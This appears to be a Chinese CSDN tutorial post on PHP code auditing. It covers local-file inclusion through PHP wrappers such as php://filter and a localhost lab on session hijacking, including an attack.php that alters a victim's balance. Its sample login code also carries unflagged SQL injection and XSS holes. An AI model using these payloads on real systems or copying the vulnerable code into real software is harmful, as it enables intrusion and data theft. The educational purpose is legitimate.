一个网络安全学习爱好者在学习过程中记录下的笔记,希望在CSDN能和大家一起成长,学习,分享,进步,下面分享的是代码审计中php伪协议以及会话认证漏洞的案例,希望对入门网安的朋友们有所帮助,大神有兴趣看看即可,勿喷感谢,同时也欢迎各位师傅私聊交流学习。文章有所参考,也感谢教授我网安知识的师父们,感谢出生在这个互联网时代,知识触手可及。
往期文章:
网络安全自学篇-PHP代码审计(一)
网络安全自学篇-PHP代码审计(二)
网络安全自学篇-PHP代码审计(三)
网络安全自学篇-PHP代码审计(四)
网络安全自学篇-PHP代码审计(五)
网络安全自学篇-PHP代码审计(六)
网络安全自学篇-PHP代码审计(七)
网络安全自学篇-PHP代码审计(八)
网络安全自学篇-PHP代码审计(九)
PHP伪协议
相关设置:allow_url_fopen:Off/On
allow_url_include:Off/On
常见的几种伪协议
1、file://协议
file协议用于访问系统本地文件
构造如下代码:
include ($_GET['file']);
http://localhost/file.php?file=file://D:\phpStudy\PHPTutorial\WWW\1.txt访问
2、php://filter
php://filterx协议用于读取源码并以base64输出
http://127.0.0.1/file.php?file=php://filter/read=convert.base64-encode/resource=./1.txt访问
3、php://input
php://input协议可以访问原始数据的流
将jadore写入1.txt
4、data://
data://-数据
会话认证漏洞
原理:会话中认证得到的标识可以被攻击者任意篡改
挖掘思路:
直接将用户信息保存在cookie中并且没有使用session进行认证
1、session劫持攻击,攻击者劫持用户的sessionID来修改用户的session变量
2、session固定攻击,攻击者固定用户的sessionID来存取用户的session数据
案例:
构造登录表单login.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>用户登录</title>
</head>
<body>
<form action="login.php" method="post">
账号:<input type="text" name="username"></br>
密码:<input type="password" name="password"></br>
<input type="submit" value="点击登录" name="login">
</form>
</body>
</html>
login.php
<?php
header("content-type:text/html;charset=utf-8");
session_start();
if(isset($_POST['login'])) {
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysql_connect("localhost","root","root");
mysql_select_db("csrf",$conn);
$sql = "SELECT * FROM user WHERE username='$username' and password='$password';";
$result = mysql_query($sql) or die("执行SQL语句失败:" . mysql_error());
if ($row = mysql_fetch_array($result)) {
$_SESSION['username'] = $row['username'];
$_SESSION['password'] = $row['password'];
$_SESSION['money'] = 10;
header("Location:http://127.0.0.1/user.php?member=".$username);
}
}else{
exit('illegal access!');
}
输出sesseionID的页面user.php:
<?php
header("content-type:text/html;charset=utf-8");
session_start();
echo "当前用户的SESSIONID是:".session_id()."<br>";
echo "当前用户:".$_GET['member']."<br>";
echo "余额:".$_SESSION['money']."<br>";
获得一个sessionID
攻击代码attack.php:
header("content-type:text/html;charset=utf-8");
session_start();
echo "劫持到的SESSIONID是:".session_id()."<br>";
echo "当前用户:".$_SESSION['username']."<br>";
echo "余额:".$_SESSION['money']=1000 ."<br>";
拷贝sessionID,构造如下:
http://127.0.0.1/attack.php?PHPSESSIONID=38rm8vs66v0j84vphnc5lnkc55
余额变为1000
此时再回到用户的页面user.php刷新,发现余额也被更改
流程图:
防御:
1、使用随机长度够大够复杂的sessionid
2、封装sessionid
3、更改sessionid的名称
4、及时销毁session(session_destroy)